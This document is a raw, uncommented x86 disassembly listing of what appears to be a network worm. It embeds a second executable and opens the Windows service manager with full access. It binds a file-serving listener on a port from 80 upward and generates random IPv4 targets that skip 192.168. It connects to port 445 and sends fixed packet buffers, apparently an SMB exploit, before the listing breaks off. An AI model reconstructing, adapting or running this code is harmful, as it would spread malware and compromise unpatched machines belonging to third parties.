		dd 7273026Fh, 646E61h, 74730271h, 74616372h, 0
		dd 74730275h, 79706372h, 0
		dd 4E52454Bh, 32334C45h, 4C4C442Eh, 0
		dd 0Eh dup(10005000h), 44545243h, 442E4C4Ch, 4C4Ch, 0Ch	dup(10005014h)
		dd 22h dup(0)
		dd 20h,	0
		dd 20h,	1000h, 1800h, 2000h, 2C00h, 78h	dup(0)
		dd 1000h, 94h, 3086302Bh, 30F730EDh, 310D30FFh,	311B3113h
		dd 31B03121h, 31FD31F0h, 320F3202h, 32243214h, 323F322Ah
		dd 335F32BEh, 33783366h, 339D3381h, 33AF33A6h, 33BB33B5h
		dd 33CA33C4h, 33DC33D0h, 33FF33EAh, 35183410h, 3543352Ch
		dd 356D354Fh, 35DA357Eh, 368635F7h, 369E3692h, 36B636AAh
		dd 36CE36C2h, 36E636DAh, 36FE36F2h, 3716370Ah, 372E3722h
		dd 3746373Ah, 375E3752h, 3776376Ah, 378E3782h, 37A6379Ah
		dd 37B2h, 4000h, 0Ch, 3000h, 5000h, 3Ch, 330C3308h, 33143310h
		dd 331C3318h, 33243320h, 332C3328h, 33343330h, 333C3338h
		dd 3350334Ch, 33583354h, 3360335Ch, 33683364h, 3370336Ch
		dd 33783374h, 4Ah dup(0)
		dd 427CB50Ah, 0
		dd 7028h, 3 dup(1), 7030h, 7034h, 7038h, 2E6C6C64h, 6C6C64h
		dd 1536h, 703Ch, 0
		dd 62694C5Fh, 6E69614Dh, 323140h, 6Eh dup(0)
		db 0
byte_43EB9D	db 4Dh,	5Ah, 90h	; DATA XREF: sub_403A5F+CCo
		dd 300h, 400h, 0FFFF00h, 0B800h, 0
		dd 4000h, 8 dup(0)
		dd 8000h, 0BA1F0E00h, 9B4000Eh,	1B821CDh, 5421CD4Ch, 20736968h
		dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
		dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
		dd 455000h, 4014C00h, 7CA9DF00h, 42h, 0
		dd 0E00E000h, 2010B01h,	1A0037h, 180000h, 20000h, 121900h
		dd 100000h, 300000h, 40000000h,	100000h, 20000h, 100h
		dd 0
		dd 400h, 0
		dd 600000h, 40000h, 0
		dd 200h, 10000000h, 100000h, 10000000h,	100000h, 0
		dd 1000h, 2 dup(0)
		dd 500000h, 97000h, 1Ch	dup(0)
		dd 65742E00h, 7478h, 19A400h, 100000h, 19A400h,	40000h
		dd 3 dup(0)
		dd 2000h, 73622E60h, 73h, 11000h, 300000h, 5 dup(0)
		dd 8000h, 61642EC0h, 6174h, 0DE800h, 400000h, 0DE800h
		dd 1E0000h, 3 dup(0)
		dd 4000h, 64692EC0h, 617461h, 97000h, 500000h, 97000h
		dd 2C0000h, 3 dup(0)
		dd 6000h, 0C0h,	79h dup(0)
		dd 40C03100h, 4244C8Bh,	60441F7h, 74000000h, 24448B0Fh
		dd 24548B08h, 0B8028910h, 3
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_43EFBD	proc near		; CODE XREF: .text:0043F0F5p
					; .text:0043F123p

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset loc_401000
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_43EFDA:				; CODE XREF: sub_43EFBD+44j
					; sub_43EFBD+4Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_43F009
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_43F009
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	ecx, [esp+1Ch+var_14]
		mov	ecx, [eax+0Ch]
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_43EFDA
		call	dword ptr [ebx+esi*4+8]
		jmp	short loc_43EFDA
; ---------------------------------------------------------------------------


loc_43F009:				; CODE XREF: sub_43EFBD+2Aj
					; sub_43EFBD+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_43EFBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F017	proc near		; CODE XREF: .text:0043F0E8p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_401092
		push	[ebp+arg_0]
		call	sub_440755
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_43F017	endp

; ---------------------------------------------------------------------------
		cld
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, [ebp+0Ch]
		mov	eax, [ebp+8]
		mov	dword ptr loc_404086+6,	eax
		mov	dword ptr loc_40408D+3,	ebx
		test	dword ptr [eax+4], 6
		jnz	loc_43F11C
		mov	[ebp-8], eax
		mov	eax, [ebp+10h]
		mov	[ebp-4], eax
		mov	dword ptr loc_40408D+3,	eax
		lea	eax, [ebp-8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_43F07A:				; CODE XREF: .text:0043F113j
		cmp	esi, 0FFFFFFFFh
		jz	loc_43F12B
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_43F10A
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		mov	eax, [ebp-14h]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	dword ptr loc_40402C+4,	eax
		mov	edx, [ebp-14h]
		mov	eax, [edx]
		mov	dword ptr loc_404033+1,	eax
		mov	eax, [edx+4]
		mov	dword ptr loc_404033+5,	eax
		push	esi
		push	edi
		push	ecx
		mov	ecx, 14h
		lea	edi, loc_40403B+1
		mov	esi, dword ptr loc_404033+1
		rep movsd
		lea	edi, loc_40403B+1
		mov	dword ptr loc_404033+1,	edi
		pop	ecx
		pop	edi
		pop	esi
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+0Ch]
		or	eax, eax
		jz	short loc_43F10A
		js	short loc_43F118
		mov	edi, [ebx+8]
		push	ebx
		call	sub_43F017
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_43EFBD
		add	esp, 8
		lea	ecx, [esi+esi*2]
		mov	eax, [edi+ecx*4]
		mov	eax, [ebx+0Ch]
		call	dword ptr [edi+ecx*4+8]


loc_43F10A:				; CODE XREF: .text:0043F08Bj
					; .text:0043F0E0j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	loc_43F07A
; ---------------------------------------------------------------------------


loc_43F118:				; CODE XREF: .text:0043F0E2j
		xor	eax, eax
		jmp	short loc_43F18D
; ---------------------------------------------------------------------------


loc_43F11C:				; CODE XREF: .text:0043F05Aj
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_43EFBD
		add	esp, 0Ch


loc_43F12B:				; CODE XREF: .text:0043F07Dj
		push	0
		mov	dword ptr loc_40400E+2,	0Bh
		push	0Bh
		call	sub_4408F9
		add	esp, 8
		or	eax, eax
		jnz	short loc_43F166
		push	0
		mov	dword ptr loc_40400E+2,	8
		push	8
		call	sub_4408F9
		add	esp, 8
		or	eax, eax
		jnz	short loc_43F166
		mov	eax, 1
		jmp	short loc_43F18D
; ---------------------------------------------------------------------------


loc_43F166:				; CODE XREF: .text:0043F143j
					; .text:0043F15Dj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_43F195
		push	eax
		push	dword ptr loc_40400E+2
		call	sub_4408F9
		add	esp, 8
		push	dword ptr loc_40400E+2
		call	sub_4408E1
		add	esp, 4
		mov	eax, 1


loc_43F18D:				; CODE XREF: .text:0043F11Aj
					; .text:0043F164j ...
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_43F195:				; CODE XREF: .text:0043F169j
		cmp	dword ptr loc_40402C, 0
		jnz	short loc_43F1A5
		mov	eax, 1
		jmp	short loc_43F18D
; ---------------------------------------------------------------------------


loc_43F1A5:				; CODE XREF: .text:0043F19Cj
		mov	eax, dword ptr loc_40402C
		push	0Bh
		jmp	eax
; ---------------------------------------------------------------------------
		pop	eax
		mov	eax, 1
		jmp	short loc_43F18D
; ---------------------------------------------------------------------------
		mov	eax, large fs:0
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	40401Ch
		push	offset sub_40109A
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		push	eax
		fnstcw	word ptr [esp]
		or	word ptr [esp],	300h
		fldcw	word ptr [esp]
		add	esp, 4
		push	0
		push	0
		push	404028h
		push	404024h
		push	offset loc_404020
		call	sub_4408A5
		push	dword ptr loc_404025+3
		push	dword ptr loc_404023+1
		push	dword ptr loc_404020
		mov	dword ptr loc_40400E+6,	esp
		call	sub_4405FD
		add	esp, 18h
		xor	ecx, ecx
		mov	[ebp-4], ecx
		push	eax
		call	sub_4408BD
		leave
		retn
; ---------------------------------------------------------------------------
		mov	large fs:0, eax
		retn
; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F239	proc near		; CODE XREF: sub_43F2D4+12p

var_35		= byte ptr -35h
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		push	2
		lea	eax, [ebp+var_35]
		push	eax
		push	[ebp+arg_0]
		call	sub_440899
		add	esp, 0Ch
		lea	ecx, [ebp+var_35]
		or	eax, 0FFFFFFFFh


loc_43F25C:				; CODE XREF: sub_43F239+28j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43F25C
		mov	ebx, eax
		mov	[ebp+var_2], bl
		mov	[ebp+var_1], 0
		jmp	short loc_43F284
; ---------------------------------------------------------------------------


loc_43F26E:				; CODE XREF: sub_43F239+55j
		movzx	eax, [ebp+var_1]
		movzx	edx, [ebp+var_2]
		sub	edx, eax
		dec	edx
		mov	al, [ebp+eax+var_35]
		mov	[edi+edx], al
		add	[ebp+var_1], 1


loc_43F284:				; CODE XREF: sub_43F239+33j
		movzx	eax, [ebp+var_1]
		movzx	edx, [ebp+var_2]
		cmp	eax, edx
		jl	short loc_43F26E
		movzx	eax, [ebp+var_2]
		mov	byte ptr [edi+eax], 0
		mov	[ebp+var_3], 0
		jmp	short loc_43F2B0
; ---------------------------------------------------------------------------


loc_43F29E:				; CODE XREF: sub_43F239+88j
		push	404DE5h
		push	edi
		call	sub_44091D
		add	esp, 8
		add	[ebp+var_3], 1


loc_43F2B0:				; CODE XREF: sub_43F239+63j
		movzx	eax, [ebp+var_3]
		mov	edx, 20h
		movzx	ecx, [ebp+var_2]
		sub	edx, ecx
		cmp	eax, edx
		jl	short loc_43F29E
		push	[ebp+arg_8]
		push	edi
		call	sub_44091D
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43F239	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F2D4	proc near		; CODE XREF: sub_4403F5+97p

var_32		= byte ptr -32h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	404DE3h
		lea	eax, [ebp+var_32]
		push	eax
		push	[ebp+arg_0]
		call	sub_43F239
		add	esp, 0Ch
		lea	eax, [ebp+var_32]
		push	eax
		call	sub_44070D
		leave
		retn
sub_43F2D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F2F9	proc near		; CODE XREF: .text:004403B3p
					; sub_4403F5+F1p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_44085D
		mov	edi, eax
		or	edi, edi
		jz	short loc_43F329
		xor	eax, eax
		jmp	short loc_43F361
; ---------------------------------------------------------------------------


loc_43F329:				; CODE XREF: sub_43F2F9+2Aj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_14]
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	sub_44088D
		mov	edi, eax
		push	[ebp+var_4]
		call	sub_440869
		or	edi, edi
		jz	short loc_43F351
		xor	eax, eax
		jmp	short loc_43F361
; ---------------------------------------------------------------------------


loc_43F351:				; CODE XREF: sub_43F2F9+52j
		cmp	[ebp+var_8], 1
		jnz	short loc_43F35E
		mov	eax, 2
		jmp	short loc_43F361
; ---------------------------------------------------------------------------


loc_43F35E:				; CODE XREF: sub_43F2F9+5Cj
		xor	eax, eax
		inc	eax


loc_43F361:				; CODE XREF: sub_43F2F9+2Ej
					; sub_43F2F9+56j ...
		pop	edi
		leave
		retn
sub_43F2F9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F364	proc near		; CODE XREF: .text:0044038Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		push	20019h
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_440875
		mov	edi, eax
		or	edi, edi
		jz	short loc_43F389
		xor	eax, eax
		jmp	short loc_43F3B4
; ---------------------------------------------------------------------------


loc_43F389:				; CODE XREF: sub_43F364+1Fj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_14]
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	sub_440881
		mov	edi, eax
		push	[ebp+var_4]
		call	sub_440869
		or	edi, edi
		jz	short loc_43F3B1
		xor	eax, eax
		jmp	short loc_43F3B4
; ---------------------------------------------------------------------------


loc_43F3B1:				; CODE XREF: sub_43F364+47j
		xor	eax, eax
		inc	eax


loc_43F3B4:				; CODE XREF: sub_43F364+23j
					; sub_43F364+4Bj
		pop	edi
		leave
		retn
sub_43F364	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0
		push	100h
		lea	eax, [ebp-100h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4405B5
		cmp	eax, 0FFFFFFFFh
		jz	loc_43F4FB
		push	404DDFh
		lea	eax, [ebp-100h]
		push	eax
		call	sub_440935
		add	esp, 8
		or	eax, eax
		jz	loc_43F4BD
		push	404DDBh
		lea	edx, [ebp-100h]
		push	edx
		call	sub_440935
		add	esp, 8
		or	eax, eax
		jz	loc_43F4BD
		push	0
		push	3Dh
		push	404D9Dh
		push	dword ptr [ebp+8]
		call	sub_4405C1
		push	dword ptr loc_403004
		push	404D86h
		lea	eax, [ebp-200h]
		push	eax
		call	sub_440905
		add	esp, 0Ch
		lea	ecx, [ebp-200h]
		or	eax, 0FFFFFFFFh


loc_43F450:				; CODE XREF: .text:0043F455j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43F450
		push	0
		push	eax
		lea	edx, [ebp-200h]
		push	edx
		push	dword ptr [ebp+8]
		call	sub_4405C1


loc_43F469:				; CODE XREF: .text:0043F4AFj
		mov	eax, dword ptr loc_403004
		mov	edi, eax
		sub	edi, ebx
		cmp	edi, 1000h
		jb	short loc_43F47F
		mov	edi, 1000h


loc_43F47F:				; CODE XREF: .text:0043F478j
		or	edi, edi
		jz	short loc_43F4B1
		push	0
		push	edi
		mov	eax, ebx
		add	eax, dword ptr loc_403004+4
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4405C1
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_43F4FB
		cmp	esi, 1000h
		jb	short loc_43F4B1
		add	ebx, esi
		push	64h
		call	sub_44076D
		jmp	short loc_43F469
; ---------------------------------------------------------------------------


loc_43F4B1:				; CODE XREF: .text:0043F481j
					; .text:0043F4A4j
		push	404098h
		call	sub_440725
		jmp	short loc_43F4DF
; ---------------------------------------------------------------------------


loc_43F4BD:				; CODE XREF: .text:0043F3FAj
					; .text:0043F416j
		push	0
		push	15h
		push	404D70h
		push	dword ptr [ebp+8]
		call	sub_4405C1
		push	0
		push	0Dh
		push	40409Ch
		push	dword ptr [ebp+8]
		call	sub_4405C1


loc_43F4DF:				; CODE XREF: .text:0043F4BBj
		push	7D0h
		call	sub_44076D
		push	2
		push	dword ptr [ebp+8]
		call	sub_4405CD
		push	dword ptr [ebp+8]
		call	sub_440555


loc_43F4FB:				; CODE XREF: .text:0043F3DEj
					; .text:0043F49Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	0
		push	404098h
		call	sub_440719
		push	0
		push	80h
		push	3
		push	0
		push	1
		push	80000000h
		push	offset loc_403010
		call	sub_44073D
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_43F541
		push	1
		call	sub_4406AD


loc_43F541:				; CODE XREF: .text:0043F538j
		push	0
		push	ebx
		call	sub_4406D1
		mov	dword ptr loc_403004, eax
		push	eax
		push	0
		call	sub_440731
		mov	dword ptr loc_403004+4,	eax
		push	0
		lea	eax, [ebp-30h]
		push	eax
		push	dword ptr loc_403004
		push	dword ptr loc_403004+4
		push	ebx
		call	sub_440749
		push	ebx
		call	sub_4406E9
		push	0
		push	1
		push	2
		call	sub_4405D9
		mov	esi, eax
		push	10h
		lea	eax, [ebp-24h]
		push	eax
		call	sub_440761
		mov	word ptr [ebp-24h], 2
		and	dword ptr [ebp-20h], 0
		mov	word ptr [ebp-26h], 0


loc_43F5A1:				; CODE XREF: .text:0043F5E1j
		movzx	eax, word ptr [ebp-26h]
		add	eax, 50h
		mov	word ptr loc_404092+2, ax
		movzx	eax, word ptr loc_404092+2
		push	eax
		call	sub_440585
		mov	edx, eax
		mov	[ebp-22h], dx
		push	10h
		lea	eax, [ebp-24h]
		push	eax
		push	esi
		call	sub_440549
		mov	[ebp-2Ch], eax
		inc	word ptr [ebp-26h]
		or	eax, eax
		jz	short loc_43F5E3
		movzx	eax, word ptr [ebp-26h]
		cmp	eax, 0FDE8h
		jl	short loc_43F5A1


loc_43F5E3:				; CODE XREF: .text:0043F5D6j
		push	64h
		push	esi
		call	sub_4405A9
		mov	dword ptr [ebp-4], 10h


loc_43F5F2:				; CODE XREF: .text:0043F61Dj
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		push	esi
		call	sub_44053D
		mov	edi, eax
		lea	eax, [ebp-34h]
		push	eax
		push	0
		push	edi
		push	40141Ah
		push	0
		push	0
		call	sub_440791
		push	eax
		call	sub_4406E9
		jmp	short loc_43F5F2
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F624	proc near		; CODE XREF: .text:0043FE57p

var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_13		= byte ptr -13h
var_3		= byte ptr -3
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_13]
		lea	esi, loc_4040AA
		mov	ecx, 4
		rep movsd
		lea	edi, [ebp+var_18]
		lea	esi, loc_4040B4+6
		mov	ecx, 5
		rep movsb


loc_43F64D:				; CODE XREF: sub_43F624+51j
					; sub_43F624+74j
		call	sub_4408ED
		mov	ecx, 0DDh
		cdq
		idiv	ecx
		lea	edi, [edx+3]
		mov	ebx, edi
		mov	[ebp+var_3], bl
		mov	[ebp+var_2], 0
		jmp	short loc_43F69E
; ---------------------------------------------------------------------------


loc_43F66A:				; CODE XREF: sub_43F624+81j
		mov	al, [ebp+var_3]
		movzx	edx, [ebp+var_2]
		cmp	al, [ebp+edx+var_13]
		jz	short loc_43F64D
		movzx	eax, [ebp+var_2]
		cmp	eax, 5
		jnb	short loc_43F69A
		movzx	eax, [ebp+var_3]
		movzx	edx, [ebp+var_2]
		movzx	ecx, [ebp+edx+var_13]
		cmp	eax, ecx
		jb	short loc_43F69A
		movzx	edx, [ebp+edx+var_18]
		cmp	eax, edx
		jbe	short loc_43F64D


loc_43F69A:				; CODE XREF: sub_43F624+5Aj
					; sub_43F624+6Bj
		inc	[ebp+var_2]


loc_43F69E:				; CODE XREF: sub_43F624+44j
		movzx	eax, [ebp+var_2]
		cmp	eax, 10h
		jb	short loc_43F66A


loc_43F6A7:				; CODE XREF: sub_43F624+ACj
		call	sub_4408ED
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		lea	edi, [edx+1]
		mov	ebx, edi
		mov	[ebp+var_19], bl
		movzx	eax, [ebp+var_3]
		cmp	eax, 0C0h
		jnz	short loc_43F6D2
		movzx	eax, [ebp+var_19]
		cmp	eax, 0A8h
		jz	short loc_43F6A7


loc_43F6D2:				; CODE XREF: sub_43F624+A1j
		call	sub_4408ED
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		lea	edi, [edx+1]
		mov	ebx, edi
		mov	[ebp+var_1A], bl
		call	sub_4408ED
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		lea	edi, [edx+1]
		mov	ebx, edi
		mov	[ebp+var_1B], bl
		movzx	eax, [ebp+var_1B]
		push	eax
		movzx	eax, [ebp+var_1A]
		push	eax
		movzx	eax, [ebp+var_19]
		push	eax
		movzx	eax, [ebp+var_3]
		push	eax
		push	404D64h
		push	[ebp+arg_0]
		call	sub_440905
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43F624	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F725	proc near		; CODE XREF: .text:0044005Cp

var_89F4	= dword	ptr -89F4h
var_89F0	= dword	ptr -89F0h
var_89EC	= dword	ptr -89ECh
var_89E8	= dword	ptr -89E8h
var_89E3	= byte ptr -89E3h
var_89E2	= word ptr -89E2h
var_89E0	= byte ptr -89E0h
var_89D8	= byte ptr -89D8h
var_8970	= byte ptr -8970h
var_6900	= byte ptr -6900h
var_68E2	= byte ptr -68E2h
var_6842	= byte ptr -6842h
var_6136	= dword	ptr -6136h
var_6126	= byte ptr -6126h
var_6112	= byte ptr -6112h
var_60A2	= byte ptr -60A2h
var_55DE	= byte ptr -55DEh
var_403A	= byte ptr -403Ah
var_4039	= byte ptr -4039h
var_3FBD	= byte ptr -3FBDh
var_37ED	= byte ptr -37EDh
var_3342	= byte ptr -3342h
var_3058	= dword	ptr -3058h
var_3054	= dword	ptr -3054h
var_3050	= dword	ptr -3050h
var_304C	= word ptr -304Ch
var_304A	= word ptr -304Ah
var_3048	= dword	ptr -3048h
var_303C	= byte ptr -303Ch
var_3039	= byte ptr -3039h
var_300F	= byte ptr -300Fh
var_300D	= byte ptr -300Dh
var_300C	= byte ptr -300Ch
var_2FC7	= byte ptr -2FC7h
var_2F83	= byte ptr -2F83h
var_2987	= byte ptr -2987h
var_21A3	= byte ptr -21A3h
var_2193	= byte ptr -2193h
var_1E6F	= byte ptr -1E6Fh
var_1E6B	= byte ptr -1E6Bh
var_1E5F	= byte ptr -1E5Fh
var_1BDA	= byte ptr -1BDAh
var_1BD9	= byte ptr -1BD9h
var_B46		= byte ptr -0B46h
var_82		= byte ptr -82h
var_81		= byte ptr -81h
var_80		= dword	ptr -80h
var_7C		= byte ptr -7Ch
var_54		= dword	ptr -54h
var_50		= byte ptr -50h
var_4F		= byte ptr -4Fh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 89F4h
		call	sub_440661
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_3054],	1
		mov	[ebp+var_89F0],	1
		lea	edi, [ebp+var_89E0]
		lea	esi, loc_4049EB+5
		movsd
		movsd
		and	[ebp+var_89F4],	0
		mov	[ebp+var_89E2],	1BDh
		push	0
		push	1
		push	2
		call	sub_4405D9
		mov	[ebp+var_54], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43FD7B
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_89EC],	eax
		push	eax
		call	sub_44059D
		push	1Dh
		push	eax
		lea	edi, [ebp+var_6900]
		push	edi
		call	sub_440779
		lea	eax, [ebp+var_6900]
		push	eax
		push	404D5Ah
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_440905
		add	esp, 0Ch
		xor	ebx, ebx


loc_43F7B6:				; CODE XREF: sub_43F725+A2j
		mov	dl, [ebp+ebx+var_7C]
		mov	[ebp+ebx*2+var_50], dl
		mov	[ebp+ebx*2+var_4F], 0
		inc	ebx
		cmp	ebx, 28h
		jl	short loc_43F7B6
		push	60h
		push	offset loc_404525
		lea	eax, [ebp+var_303C]
		push	eax
		call	sub_4408C9
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_440785
		mov	edi, eax
		shl	edi, 1
		push	edi
		lea	edi, [ebp+var_50]
		push	edi
		lea	edi, [ebp+var_300C]
		push	edi
		call	sub_4408C9
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_440785
		push	9
		push	40457Ch
		mov	edi, eax
		shl	edi, 1
		lea	edi, [ebp+edi+var_300D]
		push	edi
		call	sub_4408C9
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_440785
		mov	edx, eax
		movsx	edi, dl
		shl	edi, 1
		add	edi, 34h
		mov	edx, edi
		mov	[ebp+var_403A],	dl
		push	1
		lea	eax, [ebp+var_403A]
		push	eax
		lea	eax, [ebp+var_3039]
		push	eax
		call	sub_4408C9
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_440785
		mov	edx, eax
		movsx	edi, dl
		shl	edi, 1
		add	edi, 9
		mov	edx, edi
		mov	[ebp+var_89E3],	dl
		push	1
		lea	eax, [ebp+var_89E3]
		push	eax
		lea	eax, [ebp+var_300F]
		push	eax
		call	sub_4408C9
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_3058],	eax
		push	0E29h
		push	31h
		lea	eax, [ebp+var_4039]
		push	eax
		call	sub_4408D5
		add	esp, 48h
		push	10h
		lea	eax, [ebp+var_304C]
		push	eax
		call	sub_440761
		mov	[ebp+var_304C],	2
		movsx	eax, [ebp+var_89E2]
		movzx	eax, ax
		push	eax
		call	sub_440585
		mov	edi, eax
		mov	[ebp+var_304A],	di
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_3048],	eax
		push	10h
		lea	eax, [ebp+var_304C]
		push	eax
		push	[ebp+var_54]
		call	sub_440561
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_43F8F8
		mov	[ebp+var_3054],	2
		jmp	loc_43FD73
; ---------------------------------------------------------------------------


loc_43F8F8:				; CODE XREF: sub_43F725+1C2j
		push	64h
		call	sub_44076D
		push	0
		push	89h
		push	offset loc_404313
		push	[ebp+var_54]
		call	sub_4405C1
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_44076D
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_4405B5
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43FD69
		push	0
		push	0A8h
		push	40439Dh
		push	[ebp+var_54]
		call	sub_4405C1
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_44076D
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_4405B5
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43FD69
		push	0
		push	0DEh
		push	404446h
		push	[ebp+var_54]
		call	sub_4405C1
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_44076D
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_4405B5
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43FD69
		mov	eax, [ebp+var_80]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_43F9D2
		cmp	eax, 46h
		jge	short loc_43F9D7


loc_43F9D2:				; CODE XREF: sub_43F725+2A6j
		jmp	loc_43FD69
; ---------------------------------------------------------------------------


loc_43F9D7:				; CODE XREF: sub_43F725+2ABj
		lea	eax, [ebp+var_2F83]
		mov	[ebp+var_89E8],	eax
